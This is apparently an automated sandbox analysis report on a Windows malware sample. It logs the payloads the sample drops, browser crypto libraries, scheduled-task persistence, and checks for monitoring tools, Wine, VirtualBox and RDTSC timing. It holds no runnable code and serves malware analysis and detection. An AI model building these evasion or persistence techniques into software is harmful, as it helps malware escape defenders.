Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: EZrw1nNIpG.exe

Static file information: File size 2535424 > 1048576

Source: EZrw1nNIpG.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x227c00

Source:	Binary string: mozglue.pdbP source: EZrw1nNIpG.exe, 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: EZrw1nNIpG.exe, 00000000.00000002.2418656540.000000006C9FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: EZrw1nNIpG.exe, 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Unpacked PE file: 0.2.EZrw1nNIpG.exe.810000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Unpacked PE file: 8.2.KKEBKJJDGH.exe.250000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 10.2.explortu.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 11.2.explortu.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Unpacked PE file: 13.2.3eb62d09c2.exe.d00000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 15.2.explortu.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Unpacked PE file: 17.2.explortu.exe.220000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kcajosdi:EW;tlivgrwy:EW;.taggant:EW;

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C82C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C82C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explortu.exe.8.dr	Static PE information: real checksum: 0x1de832 should be: 0x1e2c33
Source: random[1].exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x26d947
Source: KKEBKJJDGH.exe.0.dr	Static PE information: real checksum: 0x1de832 should be: 0x1e2c33
Source: 3eb62d09c2.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x26d947
Source: EZrw1nNIpG.exe	Static PE information: real checksum: 0x0 should be: 0x27a056
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1de832 should be: 0x1e2c33

Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: EZrw1nNIpG.exe	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: kcajosdi
Source: amadka[1].exe.0.dr	Static PE information: section name: tlivgrwy
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: .idata
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name:
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: kcajosdi
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: tlivgrwy
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: explortu.exe.8.dr	Static PE information: section name:
Source: explortu.exe.8.dr	Static PE information: section name: .idata
Source: explortu.exe.8.dr	Static PE information: section name:
Source: explortu.exe.8.dr	Static PE information: section name: kcajosdi
Source: explortu.exe.8.dr	Static PE information: section name: tlivgrwy
Source: explortu.exe.8.dr	Static PE information: section name: .taggant
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: random[1].exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Code function: 0_2_6C7FB536 push ecx; ret	0_2_6C7FB549
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 10_2_0023CFEC push ecx; ret	10_2_0023CFFF
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212820 push 7F210002h; ret	13_2_7F21282F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211C20 push 7F210002h; ret	13_2_7F211C2F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211920 push 7F210002h; ret	13_2_7F21192F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F210D20 push 7F210002h; ret	13_2_7F210D2F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211020 push 7F210002h; ret	13_2_7F21102F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211320 push 7F210002h; ret	13_2_7F21132F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211620 push 7F210002h; ret	13_2_7F21162F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211F20 push 7F210002h; ret	13_2_7F211F2F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212220 push 7F210002h; ret	13_2_7F21222F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212520 push 7F210002h; ret	13_2_7F21252F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212A30 push 7F210002h; ret	13_2_7F212A3F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212730 push 7F210002h; ret	13_2_7F21273F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211B30 push 7F210002h; ret	13_2_7F211B3F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F210C30 push 7F210002h; ret	13_2_7F210C3F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F210F30 push 7F210002h; ret	13_2_7F210F3F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211230 push 7F210002h; ret	13_2_7F21123F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211530 push 7F210002h; ret	13_2_7F21153F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211830 push 7F210002h; ret	13_2_7F21183F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211E30 push 7F210002h; ret	13_2_7F211E3F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212130 push 7F210002h; ret	13_2_7F21213F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212430 push 7F210002h; ret	13_2_7F21243F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212A00 push 7F210002h; ret	13_2_7F212A0F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212700 push 7F210002h; ret	13_2_7F21270F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212400 push 7F210002h; ret	13_2_7F21240F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F212100 push 7F210002h; ret	13_2_7F21210F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211E00 push 7F210002h; ret	13_2_7F211E0F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211B00 push 7F210002h; ret	13_2_7F211B0F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F211800 push 7F210002h; ret	13_2_7F21180F
Source: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Code function: 13_2_7F210000 push edi; mov dword ptr [esp], esi	13_2_7F2100B5

Source: EZrw1nNIpG.exe	Static PE information: section name: entropy: 7.995804911352308
Source: EZrw1nNIpG.exe	Static PE information: section name: entropy: 7.978361575135612
Source: EZrw1nNIpG.exe	Static PE information: section name: entropy: 7.950738565954194
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.986768958978906
Source: amadka[1].exe.0.dr	Static PE information: section name: kcajosdi entropy: 7.955236548393852
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: entropy: 7.986768958978906
Source: KKEBKJJDGH.exe.0.dr	Static PE information: section name: kcajosdi entropy: 7.955236548393852
Source: explortu.exe.8.dr	Static PE information: section name: entropy: 7.986768958978906
Source: explortu.exe.8.dr	Static PE information: section name: kcajosdi entropy: 7.955236548393852
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.995210658613367
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.9817377290068
Source: random[1].exe.10.dr	Static PE information: section name: entropy: 7.947361946751107
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name: entropy: 7.995210658613367
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name: entropy: 7.9817377290068
Source: 3eb62d09c2.exe.10.dr	Static PE information: section name: entropy: 7.947361946751107

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	File created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File created: C:\Users\user\AppData\Local\Temp\1000022001\3eb62d09c2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Jump to dropped file

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe

File created: C:\Windows\Tasks\explortu.job

Jump to behavior

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Code function: 0_2_6C8255F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C8255F0

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 41DAE5 second address: 41DAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4380CE second address: 4380D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKEBKJJDGH.exe	RDTSC instruction interceptor: First address: 4380D6 second address: 4380DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
